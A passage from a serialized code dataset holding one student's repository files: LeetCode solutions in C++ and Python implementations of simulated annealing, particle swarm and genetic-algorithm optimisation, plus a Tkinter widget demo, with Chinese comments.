s_.push(s[i]);\r\n// i++;\r\n// }\r\n// return s_.empty();\r\n// }\r\n// };"},{"alpha_fraction":0.46123260259628296,"alphanum_fraction":0.47514909505844116,"avg_line_length":22.047618865966797,"blob_id":"4041327d8f81301d6cc0491627a97cab5613b93d","content_id":"3efe70b6d34a0034870204ce0bb3efe0eee0a095","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":521,"license_type":"no_license","max_line_length":58,"num_lines":21,"path":"/leetcode/leetcode686.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 686. 重复叠加字符串匹配\r\n\r\nclass Solution {\r\npublic:\r\n int repeatedStringMatch(string a, string b) {\r\n if(a.empty() || b.empty()) return -1;\r\n int res = 1;\r\n string temp = a;\r\n int aSize = a.size(), bSize = b.size();\r\n while (temp.find(b) == string::npos)\r\n {\r\n if(temp.size() > aSize * 2 + bSize) return -1;\r\n temp += a;\r\n res++;\r\n }\r\n return res;\r\n }\r\n};"},{"alpha_fraction":0.4554242789745331,"alphanum_fraction":0.47878625988960266,"avg_line_length":27.72800064086914,"blob_id":"1e9b3c712a7432dd270e0a0940fafbda2ce8d903","content_id":"73b3b84d04c6276f45d01bbb506e6271a0b0aeb0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4046,"license_type":"no_license","max_line_length":101,"num_lines":125,"path":"/python/SA.py","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# 计算函数 f(x,y) = 5cos(xy) + xy + y^3 的最小值\r\n# x ∈ [ -5, 5 ] y ∈ [-5，5 ]\r\nclass Particle:\r\n def __init__(self, res):\r\n self.res = res\r\n self.score = -1\r\n\r\n\r\nclass SA:\r\n def __init__(self, scoreFunc):\r\n # 评分函数\r\n self.scoreFunc = scoreFunc\r\n # 退火速率\r\n self.lamda = 0.9\r\n # 初始温度\r\n self.T = 1000\r\n # 终止条件\r\n self.Tmin = 1\r\n # 解集\r\n self.Solutions = []\r\n # 解数量\r\n self.solutionNums = 20\r\n # 最优解\r\n self.Optimal = None\r\n # 局部最优解\r\n self.localOptimal = None\r\n # 每个 T的迭代次数\r\n self.iterTimes = 100\r\n # 系数 K\r\n self.K = 1\r\n\r\n self.initialize()\r\n\r\n # 初始化\r\n def initialize(self):\r\n self.Solutions = []\r\n self.T = 1000\r\n # 根据变量范围生成初始解\r\n for i in range(self.solutionNums):\r\n res = [np.random.uniform(-5, 5), np.random.uniform(-5, 5)]\r\n particle = Particle(res)\r\n self.Solutions.append(particle)\r\n\r\n # 评价解集\r\n def score(self):\r\n self.localOptimal = self.Solutions[0]\r\n for particle in self.Solutions:\r\n # 1. 计算能量\r\n particle.score = self.scoreFunc(particle)\r\n # 2. 更新全局最优解\r\n if particle.score > self.Optimal.score:\r\n self.Optimal = particle\r\n # 3. 更新局部最优解\r\n if particle.score > self.localOptimal.score:\r\n self.localOptimal = particle\r\n\r\n # 交换概率\r\n def Probability(self, p_old, p_new):\r\n if p_new.score > p_old.score:\r\n return 1\r\n else:\r\n return np.exp((p_old.score - p_new.score) / (self.K * self.T))\r\n\r\n # 在当前解附近搜索新解\r\n def search(self, p):\r\n x = sorted([-5, 5, p.res[0] + np.random.uniform(-1, 1)])[1]\r\n y = sorted([-5, 5, p.res[1] + np.random.uniform(-1, 1)])[1]\r\n p_new = Particle([x, y])\r\n return p_new\r\n\r\n # 迭代过程\r\n def iteration(self):\r\n n = 0\r\n while n <= self.iterTimes:\r\n # 1. 计算解集评分\r\n self.score()\r\n # 2. 扰动解集\r\n for i in range(self.solutionNums):\r\n p = self.Solutions[i]\r\n p_new = self.search(p)\r\n # 3. 依概率更新解集\r\n if (np.random.random() < self.Probability(p, p_new)):\r\n self.Solutions[i] = p_new\r\n n += 1\r\n\r\n # 降温\r\n def cooling(self):\r\n # 初始化\r\n g_scores, l_scores = [], []\r\n self.Optimal = self.Solutions[0]\r\n # 1. 判断终止条件\r\n while self.T > self.Tmin:\r\n # 2. 该温度下迭代\r\n self.iteration()\r\n # 3. 记录当前温度下的局部最优解\r\n print(f'{round(self.T, 5)}:{-round(self.localOptimal.score, 5)}:{self.localOptimal.res}')\r\n g_scores.append(-round(self.Optimal.score, 4))\r\n l_scores.append(-round(self.localOptimal.score, 4))\r\n # 4. 降温\r\n self.T *= self.lamda\r\n print(f\"最优解：{self.Optimal.res}:{-round(self.Optimal.score, 4)}\")\r\n self.display(g_scores, l_scores)\r\n\r\n # 结果可视化\r\n def display(self, res1, res2):\r\n fig, ax = plt.subplots(1, 2, figsize=(10, 4))\r\n ax[0].plot(res1, color='lightcoral')\r\n ax[0].set_title(\"Global Optimal\", color='r')\r\n ax[0].set_xlabel(\"iteration\")\r\n ax[0].set_ylabel(\"score\")\r\n\r\n ax[1].plot(res2, color='#4b5cc4')\r\n ax[1].set_title(\"Local Optimal\", color='r')\r\n ax[1].set_xlabel(\"iteration\")\r\n ax[1].set_ylabel(\"score\")\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n sa = SA(lambda p: -(5 * np.cos(p.res[0] * p.res[1]) + p.res[0] * p.res[1] + pow(p.res[1], 3)))\r\n sa.cooling()\r\n\r\n \r\n"},{"alpha_fraction":0.38923075795173645,"alphanum_fraction":0.41846153140068054,"avg_line_length":20.482759475708008,"blob_id":"f214009015b61657dbc92dd80552339b61455a40","content_id":"a4db3ca5978961b95defd92eb7192499804b4d4d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":658,"license_type":"no_license","max_line_length":60,"num_lines":29,"path":"/leetcode/leetcode7.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 7.整数翻转\r\n\r\nclass Solution {\r\npublic:\r\n int reverse(int x){\r\n queue<int> que;\r\n int temp,count=0;\r\n long long result=0;\r\n bool flag = false;\r\n if(x<0){flag = true;}\r\n while (x != 0){\r\n temp = x%10;\r\n que.push(temp);\r\n x = x/10;\r\n count++;\r\n }\r\n while (!que.empty()){\r\n result = result + que.front()*(pow(10,--count));\r\n que.pop();\r\n }\r\n if(result>=pow(2,31)-1 || result<=-pow(2,31)){\r\n return 0;\r\n }\r\n return result;\r\n }\r\n};"},{"alpha_fraction":0.4656991958618164,"alphanum_fraction":0.48218998312950134,"avg_line_length":24.172412872314453,"blob_id":"bd17e0fdab18c0ae792735721511dabfc06a524d","content_id":"db20962785e06daa1e4aae3de1032df30a05ef22","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2118,"license_type":"no_license","max_line_length":61,"num_lines":58,"path":"/leetcode/leetcode3.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 3.无重复最长子串\r\n\r\n// Solution 1\r\n// 从第一位扫描，每次将未出现过的字符保存进 map\r\n// 当发现重复字符，更新最大长度，从该重复字符第一次出现的位置的下一位开始扫描\r\n// 这么写结果的 时间复杂度、空间复杂度都很高\r\nclass Solution {\r\npublic:\r\n int lengthOfLongestSubstring(string s) {\r\n if (s == \"\") return 0;\r\n map<char,int> mp; // 字符、索引\r\n int res = 0, MAX_Length = 0, i = 0;\r\n int length = s.size();\r\n while (i < length) {\r\n map<char,int>:: iterator iter = mp.find(s[i]);\r\n if (iter != mp.end()) { // 出现重复字符\r\n i = iter->second + 1;\r\n mp.clear();\r\n MAX_Length = max(res, MAX_Length);\r\n res = 0;\r\n } else {\r\n mp[s[i]] = i;\r\n res += 1;\r\n i++;\r\n }\r\n }\r\n return max(res, MAX_Length);\r\n }\r\n};\r\n\r\n// Solution 2\r\n// 采用滑动窗口\r\n/* \r\n s：输入的字符串\r\n i：最长子字符串的起点数组下标\r\n j：最长子字符串的终点数组下标\r\n ans：最长子字符串长度\r\n str[]：下标(序号)表示 \"字符\"，储存的值表示该字符位置+1\r\n*/\r\nint lengthOfLongestSubstring(string s) {\r\n vector<int> str(128,0); // 初始将所有值都设为0\r\n int i = 0, ans = 0;\r\n for (int j = 0;j < s.size();j++) // 在整个字符串长度之内\r\n {\r\n /* \r\n 1.如果当前字符在之前没出现过，那么其值肯定是0，不会改变当前扫描起点\r\n 2.如果s[j]出现过，则其值一定大于0：如果起点i小于str[s[j]]，说明重复的字符在当前的子串内，\r\n 此时应该切换扫描起点至s[j]上一次出现位置的下一位(str[s[j]]储存的值)，重新扫描\r\n */\r\n i = max(i, str[s[j]]); \r\n str[s[j]] = j + 1; // 当前字符的坐标更新\r\n ans = max(ans, j-i+1); // 比较哪个距离更大\r\n }\r\n return ans;\r\n}"},{"alpha_fraction":0.43491125106811523,"alphanum_fraction":0.4467455744743347,"avg_line_length":18,"blob_id":"5ade1709c7ca452379d5087453161af8690399e2","content_id":"ae4da83242f6cae056c7528cc245c6522a9d012b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":346,"license_type":"no_license","max_line_length":51,"num_lines":17,"path":"/leetcode/leetcode27.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 27.移出元素\r\n\r\nclass Solution {\r\npublic:\r\n int removeElement(vector<int>& nums, int val) {\r\n int k = 0;\r\n for(int i = 0;i<nums.size();i++){\r\n if(nums[i]!=val){\r\n nums[k++] = nums[i];\r\n }\r\n }\r\n return k;\r\n }\r\n};"}],"string":"[\n {\n \"alpha_fraction\": 0.3710247278213501,\n \"alphanum_fraction\": 0.3922261595726013,\n \"avg_line_length\": 18.285715103149414,\n \"blob_id\": \"2186f1ff72ce5687b0765c71d891e6f0ae087af8\",\n \"content_id\": \"dc777ff39f21a6dca77b181805fa8f9d3ff8b206\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 572,\n \"license_type\": \"no_license\",\n \"max_line_length\": 46,\n \"num_lines\": 28,\n \"path\": \"/leetcode/leetcode9.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 9. 回文数\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n bool isPalindrome(int x) {\\r\\n queue<int> que;\\r\\n int count=0;\\r\\n long a=0;\\r\\n long b = x;\\r\\n if (x<0){\\r\\n return false;\\r\\n }\\r\\n while (x!=0){\\r\\n que.push(x%10);\\r\\n x = x/10;\\r\\n count++;\\r\\n }\\r\\n while (!que.empty()){\\r\\n a = a+que.front()*pow(10,--count);\\r\\n que.pop();\\r\\n }\\r\\n if (a-b == 0){ return true;}\\r\\n return false;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4955357015132904,\n \"alphanum_fraction\": 0.5106026530265808,\n \"avg_line_length\": 36.12765884399414,\n \"blob_id\": \"734ae03af3791214ec2d4cbe8a4d20f66bd569c1\",\n \"content_id\": \"e475f293153eda5c122349f803a4a047fad2c275\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3782,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 94,\n \"path\": \"/python/PSO.py\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\r\\nimport matplotlib.pyplot as plt\\r\\n\\r\\n\\r\\n# 计算函数 f(x,y) = 5cos(xy) + xy + y^3 的最小值\\r\\n# x ∈ [ -5, 5 ] y ∈ [-5，5 ]\\r\\n\\r\\n\\r\\nclass PSO:\\r\\n def __init__(self, iterTimes, groupSize, varNums, bound):\\r\\n '''\\r\\n :param iterTimes: 迭代次数\\r\\n :param groupSize: 解集大小\\r\\n :param varNums: 变量数量\\r\\n :param bound: 变量约束 [[x_min, y_min, z_min...] [x_max, y_max, z_max]]\\r\\n '''\\r\\n self.iterTimes = iterTimes\\r\\n self.groupSize = groupSize\\r\\n self.varNums = varNums\\r\\n self.bound = bound\\r\\n\\r\\n self.p_sites = np.zeros((self.groupSize, self.varNums))\\r\\n self.p_v = np.zeros((self.groupSize, self.varNums))\\r\\n self.p_optimal = np.zeros((self.groupSize, self.varNums))\\r\\n self.Optimal = np.zeros((1, self.varNums))\\r\\n self.alpha1, self.alpha2 = 1, 1\\r\\n self.weight = 0.5\\r\\n\\r\\n self.initialize()\\r\\n\\r\\n def initialize(self):\\r\\n temp_score = -1\\r\\n for i in range(self.groupSize):\\r\\n for j in range(self.varNums):\\r\\n # 1. 随机初始化粒子位置与速度\\r\\n self.p_sites[i][j] = np.random.uniform(self.bound[0][j], self.bound[1][j])\\r\\n self.p_v[i][j] = np.random.uniform(0, 1)\\r\\n # 2. 初始化粒子最好位置\\r\\n self.p_optimal[i] = self.p_sites[i]\\r\\n # 3. 评价当前粒子最好位置\\r\\n score = self.fitness(self.p_optimal[i])\\r\\n # 4. 更新全局最好位置\\r\\n if score > temp_score:\\r\\n self.Optimal = self.p_optimal[i]\\r\\n temp_score = score\\r\\n\\r\\n # 自定义函数\\r\\n def fitness(self, values):\\r\\n return (5 * np.cos(values[0] * values[1]) + values[0] * values[1] + pow(values[1], 3))\\r\\n\\r\\n # 更新位置与速度\\r\\n def update_params(self, group_size):\\r\\n for i in range(group_size):\\r\\n # 1. 更新速度\\r\\n self.p_v[i] = self.weight * self.p_v[i] + \\\\\\r\\n self.alpha1 * np.random.uniform(0, 1) * (self.p_optimal[i] - self.p_sites[i]) + \\\\\\r\\n self.alpha2 * np.random.uniform(0, 1) * (self.Optimal - self.p_sites[i])\\r\\n # 2. 更新位置\\r\\n self.p_sites[i] = self.p_sites[i] + self.p_v[i]\\r\\n # 3. 防止变量越界\\r\\n for j in range(self.varNums):\\r\\n if self.p_sites[i][j] < self.bound[0][j]:\\r\\n self.p_sites[i][j] = self.bound[0][j]\\r\\n if self.p_sites[i][j] > self.bound[1][j]:\\r\\n self.p_sites[i][j] = self.bound[1][j]\\r\\n # 4. 更新最优位置\\r\\n if self.fitness(self.p_sites[i]) > self.fitness(self.p_optimal[i]):\\r\\n self.p_optimal[i] = self.p_sites[i]\\r\\n if self.fitness(self.p_sites[i]) > self.fitness(self.Optimal):\\r\\n self.Optimal = self.p_sites[i]\\r\\n\\r\\n def run(self):\\r\\n scores = []\\r\\n self.tempOptimal = np.zeros((1, self.varNums))[0]\\r\\n for i in range(self.iterTimes):\\r\\n self.update_params(self.groupSize)\\r\\n scores.append(-self.fitness(self.Optimal))\\r\\n if self.fitness(self.Optimal) > self.fitness(self.tempOptimal):\\r\\n self.tempOptimal = self.Optimal.copy()\\r\\n print(f\\\"{i}代 : {-self.fitness(self.tempOptimal)} : {self.tempOptimal}\\\")\\r\\n self.display(scores)\\r\\n\\r\\n def display(self, data):\\r\\n plt.plot(range(self.iterTimes), data, color='lightcoral')\\r\\n plt.title(\\\"iteration - score\\\", color='r')\\r\\n plt.xlabel(\\\"iteration\\\")\\r\\n plt.ylabel(\\\"score\\\")\\r\\n plt.show()\\r\\n\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n bound = [[-5, -5], [5, 5]]\\r\\n pso = PSO(iterTimes=50, groupSize=20, varNums=2, bound=bound)\\r\\n pso.run()\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.41992881894111633,\n \"alphanum_fraction\": 0.43505337834358215,\n \"avg_line_length\": 20.078432083129883,\n \"blob_id\": \"76e9803f12d0ccc83b06112a315247da113a2d49\",\n \"content_id\": \"20907660afc4e8e9a8ad1077af2a112044c992af\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1156,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 51,\n \"path\": \"/leetcode/leetcode26_27_28.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 26.删除有序数组的重复项\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int removeDuplicates(vector<int>& nums) {\\r\\n int i = 0;\\r\\n for (int j = 1; j < nums.size(); j++) {\\r\\n if (nums[j] == nums[j-1]){\\r\\n j--;\\r\\n nums.erase(nums.begin()+j);\\r\\n }\\r\\n }\\r\\n int k = nums.size();\\r\\n return k;\\r\\n }\\r\\n};\\r\\n\\r\\n// LeetCode 27.移除元素\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int removeElement(vector<int>& nums, int val) {\\r\\n int k = 0;\\r\\n for(int i = 0;i<nums.size();i++){\\r\\n if(nums[i]!=val){\\r\\n nums[k++] = nums[i];\\r\\n }\\r\\n }\\r\\n return k;\\r\\n }\\r\\n};\\r\\n\\r\\n// LeetCode 28.实现strstr\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int strStr(string haystack, string needle) {\\r\\n if (needle.empty()) {return 0;}\\r\\n int l = needle.size();\\r\\n if (l > haystack.size()){return -1;}\\r\\n for (int i = 0; i < haystack.size()-l+1; i++) {\\r\\n if (haystack.compare(i,l,needle)==0) {\\r\\n return i;\\r\\n }\\r\\n }\\r\\n return -1;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4502212405204773,\n \"alphanum_fraction\": 0.49668142199516296,\n \"avg_line_length\": 32.846153259277344,\n \"blob_id\": \"28f99fe7a74016f29c0e93d4ef24528287f799ec\",\n \"content_id\": \"8eb6626bf652fbce216bb0b7a5c750f0e5bf0b7c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 914,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 26,\n \"path\": \"/leetcode/leetcode539.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n# define DAY 1440\\r\\n\\r\\n// LeetCode 539.最小时间差\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int findMinDifference(vector<string>& timePoints) {\\r\\n sort(timePoints.begin(),timePoints.end());\\r\\n int res = 1440;\\r\\n for(int i = 0; i < timePoints.size()-1; i++){\\r\\n int h1 = atoi(timePoints[i].substr(0,2).c_str());\\r\\n int m1 = atoi(timePoints[i].substr(3,2).c_str());\\r\\n for(int j = i + 1; j < timePoints.size(); j++){\\r\\n if(timePoints[i] == timePoints[j]) return 0;\\r\\n int h2 = atoi(timePoints[j].substr(0,2).c_str());\\r\\n int m2 = atoi(timePoints[j].substr(3,2).c_str());\\r\\n int tmp1 = abs(h2*60+m2-h1*60-m1);\\r\\n int tmp2 = DAY - tmp1;\\r\\n if(min(tmp1,tmp2) < res) res = min(tmp1,tmp2);\\r\\n }\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.5071805119514465,\n \"alphanum_fraction\": 0.5268133282661438,\n \"avg_line_length\": 29.4228572845459,\n \"blob_id\": \"64c82c35ccba02240b1b234bc00b13f70667f829\",\n \"content_id\": \"fa69bc1e5fc7ede17d5819e61ddeb4e151823e1a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6269,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 175,\n \"path\": \"/python/gui.py\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\r\\nif sys.version_info.major < 3:\\r\\n import Tkinter\\r\\nelse:\\r\\n import tkinter as Tkinter\\r\\n\\r\\n\\r\\n'''\\r\\n 【基本控件】\\r\\n 1. Radiobutton(root, text, variable, value)\\r\\n :param root: Tk\\r\\n :param text: 选项的文本\\r\\n :param variable: 绑定选择的变量\\r\\n :param value: 该选项对应的值\\r\\n\\r\\n 2. Button(root, text, command)\\r\\n :param root: Tk\\r\\n :param text: 选项的文本\\r\\n :param command: 点击时调用的函数\\r\\n\\r\\n 3. Checkbutton(root, text, variable)\\r\\n :param root: Tk\\r\\n :param text: 选项的文本\\r\\n :param variable: 绑定选择变量\\r\\n\\r\\n 4. Scale(root, label, length, from_, to, resolution, variable, orient)\\r\\n :param root: Tk\\r\\n :param label: 显示的名称\\r\\n :param length: 滑块长度\\r\\n :param from_: 左边界\\r\\n :param to: 右边界\\r\\n :param resolution: 步长\\r\\n :param variable: 绑定选择变量\\r\\n :param orient: 滑动方向\\r\\n \\r\\n 5. Label(root, text, textvariable, font, justify, foreground, underline, anchor, width, height, bg)\\r\\n :param text: 静态文本\\r\\n :param textvariable: 动态文本\\r\\n :param font: 字体，格式为一个tuple (font_name, font_size)\\r\\n :param justify: 对齐方式，有:['center','left','right']\\r\\n :param foreground: 文本颜色\\r\\n :param underline: 单个字符添加下划线，传入值为目标字符串的索引\\r\\n :param anchor: 位置，可选(n,s,w,e,ne,nw,sw,se,center)，eswn对应东南西北\\r\\n \\r\\n 6. grid(row, column)\\r\\n :param row: 控件所在的行位置\\r\\n :param column:控件所在的列位置 \\r\\n'''\\r\\ndef basic_widget(method=\\\"pack\\\"):\\r\\n def initUI(name='gui', size='900x600'):\\r\\n root = Tkinter.Tk()\\r\\n root.title(name)\\r\\n root.geometry(size)\\r\\n return root\\r\\n\\r\\n def click(i):\\r\\n if i == 1:\\r\\n print('选择：', choose_list[choose.get()])\\r\\n elif i == 2:\\r\\n selects = []\\r\\n for k, v in abcd.items():\\r\\n if v.get(): selects.append(k)\\r\\n print(\\\"选择：\\\", selects)\\r\\n elif i == 3:\\r\\n print(factor.get())\\r\\n\\r\\n\\r\\n if __name__ == \\\"__main__\\\":\\r\\n root = initUI()\\r\\n\\r\\n # 单选\\r\\n choose_list = ['A', 'B', 'C', 'D']\\r\\n choose = Tkinter.IntVar()\\r\\n choose.set(0)\\r\\n for i, val in enumerate(choose_list):\\r\\n Tkinter.Radiobutton(root, text=val, variable=choose, value=i).pack()\\r\\n Tkinter.Button(root, text=\\\"单选\\\", command=click(1)).pack()\\r\\n\\r\\n # 复选\\r\\n a, b, c, d = Tkinter.BooleanVar(), Tkinter.BooleanVar(), Tkinter.BooleanVar(), Tkinter.BooleanVar()\\r\\n abcd = {'A': a, 'B': b, 'C': c, 'D': d}\\r\\n for k, v in abcd.items():\\r\\n v.set(0)\\r\\n Tkinter.Checkbutton(root, text=k, variable=v).pack()\\r\\n Tkinter.Button(root, text=\\\"复选\\\", command=click(2)).pack()\\r\\n\\r\\n # 滑块\\r\\n factor = Tkinter.DoubleVar()\\r\\n factor.set(0.800)\\r\\n Tkinter.Scale(root, label='滑块', length=200, from_=0., to=1.0, resolution=0.001,\\r\\n variable=factor, orient=Tkinter.HORIZONTAL).pack()\\r\\n Tkinter.Button(root, text='输出', command=click(3)).pack()\\r\\n\\r\\n # 文本显示\\r\\n text = Tkinter.StringVar()\\r\\n text.set(\\\"This is a text;这是个文本。\\\")\\r\\n label = Tkinter.Label(root,textvariable=text,font=('宋体',15),foreground='black',\\r\\n underline=3,anchor='nw',width=30,height=2,bg='white')\\r\\n\\r\\n # 文本输入\\r\\n e = Tkinter.Entry(root)\\r\\n e.pack()\\r\\n Tkinter.Button(root, text=\\\"修改\\\").pack()\\r\\n\\r\\n root.mainloop()\\r\\n\\r\\n\\r\\n\\r\\n'''\\r\\n 【画布】\\r\\n 1. Canvas(root, bg, width, height)\\r\\n :param root: Tk\\r\\n :param bg: 画布背景颜色\\r\\n :param width: 画布宽\\r\\n :param heigth: 画布高\\r\\n \\r\\n 2. create_line(point, arrow, arrowshape, dash, width)\\r\\n :param point: 要连线的点的坐标\\r\\n :param arrow: 箭头，first--箭头在起始点，last--箭头在目标点，both--双箭头\\r\\n :param arrowshape: 箭头大小，传入一个tuple，如--(3,4,5)\\r\\n :param dash: 是否绘制虚线，默认False\\r\\n :param width: 线的宽度\\r\\n :param tags: 标签\\r\\n \\r\\n 3. create_oval(point, fill, outline, width)\\r\\n :param point: 椭圆的外接矩形的左上角和右下角坐标\\r\\n :param fill: 内部填充颜色\\r\\n :param outline: 边颜色\\r\\n :param width: 边宽\\r\\n :param tags: 标签\\r\\n \\r\\n 4. create_text(point, text, font)\\r\\n :param point: 文字所在点\\r\\n :param text: 文本内容\\r\\n :param font: 使用字体，传入tuple，如：(\\\"宋体\\\",12)\\r\\n \\r\\n 5. bind(event, handler)\\r\\n :param event: \\r\\n 常用的:\\r\\n (1) 26个字母，如: 'n','s'等，直接按键盘对应的键就可\\r\\n (2) <Button-1>:鼠标左键点击, <Button-3>: 右键点击\\r\\n <Button-4>: 向上滚轮, <Button-5>: 向下滚轮\\r\\n <Double-Button-1>: 左键双击，右键同理\\r\\n (3) <Return>:回车；<BackSpace>:删除；<Escape>:esc\\r\\n <Left>,<Up>,<Right>,<Down>: 方向键\\r\\n :param handler: event发生后的操作，可以是一个函数\\r\\n'''\\r\\n# 画布\\r\\ndef tk_canvas():\\r\\n def initUI(name='windows', size='900x600', width=900, height=500, bg='white'):\\r\\n root = Tkinter.Tk()\\r\\n root.geometry(size)\\r\\n root.title(name)\\r\\n cv = Tkinter.Canvas(root, bg=bg, width=width, height=height)\\r\\n return root,cv\\r\\n\\r\\n\\r\\n if __name__ == \\\"__main__\\\":\\r\\n root,cv = initUI()\\r\\n p1 = [[100,100],[300,200]]\\r\\n\\r\\n cv.create_line(p1,arrow=\\\"first\\\",arrowshape=(7,7,7),dash=True,width=5,tags=\\\"line\\\")\\r\\n cv.create_oval(p1,outline='blue',fill=\\\"pink\\\",width=10,tags=\\\"oval\\\")\\r\\n cv.create_text((400,300),text=\\\"hello\\\",font=(\\\"source code pro\\\",12))\\r\\n cv.grid(row=0)\\r\\n\\r\\n Tkinter.Button(root,text=\\\"btn1\\\").grid(row=1,column=0)\\r\\n Tkinter.Button(root,text=\\\"btn2\\\").grid(row=2)\\r\\n\\r\\n root.mainloop()\\r\\n\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n basic_widget()\\r\\n tk_canvas()\\r\\n\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.44222721457481384,\n \"alphanum_fraction\": 0.4641132950782776,\n \"avg_line_length\": 30.705263137817383,\n \"blob_id\": \"a7923267a9f81a50749fd9b4cc97f50ffef35e3b\",\n \"content_id\": \"102b08a78297878655185913bdac578b8503dd51\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3261,\n \"license_type\": \"no_license\",\n \"max_line_length\": 119,\n \"num_lines\": 95,\n \"path\": \"/python/GA_simple.py\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\r\\nimport matplotlib.pyplot as plt\\r\\nimport random\\r\\n\\r\\n\\r\\nclass GA_extremum:\\r\\n\\r\\n # 求解 x*sin(2x)*e^(-0.5x) 在 0<=x<=1 时的最大值\\r\\n # 使用浮点数编码\\r\\n\\r\\n def __init__(self, M_Size, T, Pc, Pm, bound_min, bound_max):\\r\\n '''\\r\\n :param M_Size: 种群数量\\r\\n :param T: 遗传代数\\r\\n :param Pc: 交叉概率\\r\\n :param Pm: 变异概率\\r\\n :param bound_min: 搜素上届\\r\\n :param bound_max: 搜索下界\\r\\n '''\\r\\n self.M_Size = M_Size\\r\\n self.T = T\\r\\n self.Pc = Pc\\r\\n self.Pm = Pm\\r\\n self.bound_min = bound_min\\r\\n self.bound_max = bound_max\\r\\n\\r\\n self.Optimal = [0, 0]\\r\\n\\r\\n # 随机生成初始解\\r\\n def initM(self):\\r\\n return [np.random.uniform(self.bound_min, self.bound_max) for i in range(self.M_Size)]\\r\\n\\r\\n # 目标函数\\r\\n def myfunc(self, x):\\r\\n return x * np.sin(2 * x) * np.exp(-0.5 * x)\\r\\n\\r\\n # 适应度函数\\r\\n def fitness(self, M):\\r\\n return [self.myfunc(M[i]) for i in range(self.M_Size)]\\r\\n\\r\\n # 选择: 最优保存选择\\r\\n def select(self, fitness, M):\\r\\n if np.max(fitness) > self.Optimal[1]:\\r\\n self.Optimal = [M[np.argmax(fitness)], np.max(fitness)]\\r\\n fitness[np.argmin(fitness)] = self.Optimal[1]\\r\\n M[np.argmin(fitness)] = M[np.argmax(fitness)]\\r\\n return fitness, M\\r\\n\\r\\n # 算术交叉\\r\\n def cross(self, M):\\r\\n s = []\\r\\n for i in range(self.M_Size // 2):\\r\\n if np.random.random() < self.Pc:\\r\\n x1 = np.random.randint(0, self.M_Size)\\r\\n while x1 in s:\\r\\n x1 = np.random.randint(0, self.M_Size)\\r\\n x2 = np.random.randint(0, self.M_Size)\\r\\n while x2 in s:\\r\\n x2 = np.random.randint(0, self.M_Size)\\r\\n s.append(x2)\\r\\n a, b = M[x1], M[x2]\\r\\n alpha = np.random.uniform(0, 0.05)\\r\\n M[x1] = sorted([np.random.choice([-1, 1]) * alpha * b + (1 - alpha) * a, 0, 1])[1]\\r\\n M[x2] = sorted([np.random.choice([-1, 1]) * alpha * a + (1 - alpha) * b, 0, 1])[1]\\r\\n return M\\r\\n\\r\\n # 变异\\r\\n def mutation(self, M, t):\\r\\n if t < 0.8 * self.T:\\r\\n for i in range(self.M_Size):\\r\\n if np.random.random() 